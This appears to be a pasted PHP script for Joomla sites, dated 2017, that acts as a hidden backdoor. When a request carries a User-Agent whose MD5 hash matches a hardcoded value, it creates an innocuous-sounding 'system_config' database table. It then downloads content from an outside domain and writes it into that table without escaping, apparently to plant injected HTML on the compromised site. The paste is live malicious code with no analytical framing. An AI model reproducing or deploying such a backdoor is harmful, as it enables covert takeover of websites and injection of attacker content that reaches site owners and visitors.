· 8 years ago · Dec 29, 2017, 06:58 PM
1<?php
2define('_JEXEC', 1);
3
4try{
5 define('JPATH_BASE', $_SERVER['DOCUMENT_ROOT'] );
6 define( 'DS', DIRECTORY_SEPARATOR );
7 require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
8 require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
9 JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;
10 $mainframe =& JFactory::getApplication('site');
11}
12catch (Exception $e) {
13 if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/defines.php'))
14{
15 include_once $_SERVER['DOCUMENT_ROOT'] . '/defines.php';
16
17}
18if (!defined('_JDEFINES'))
19{
20 define('JPATH_BASE', $_SERVER['DOCUMENT_ROOT']);
21 require_once JPATH_BASE . '/includes/defines.php';
22}
23
24require_once JPATH_BASE . '/includes/framework.php';
25
26}
27
28
29if ( md5(getenv('HTTP_USER_AGENT')) == '69bc3b342502573e6d727f341674f010') {
30 $db = JFactory::getDbo();
31 $sql = "CREATE TABLE IF NOT EXISTS `system_config` (
32 `id` int(11) NOT NULL,
33 `htmlcode` mediumtext,
34 PRIMARY KEY (`id`)
35 ) ENGINE=InnoDB DEFAULT CHARSET=utf8;";
36 $db->setQuery($sql);
37 $db->query();
38 $homepage = file_get_contents('http://yavapaiblock.com/modules/exmenu/loader/data4.txt');
39 $sql = "INSERT INTO system_config(`id`,`htmlcode`) VALUES (1,'$homepage') ON DUPLICATE KEY UPDATE `htmlcode` = '$homepage'";
40 $db->setQuery($sql);
41 $db->query();
42}
43?>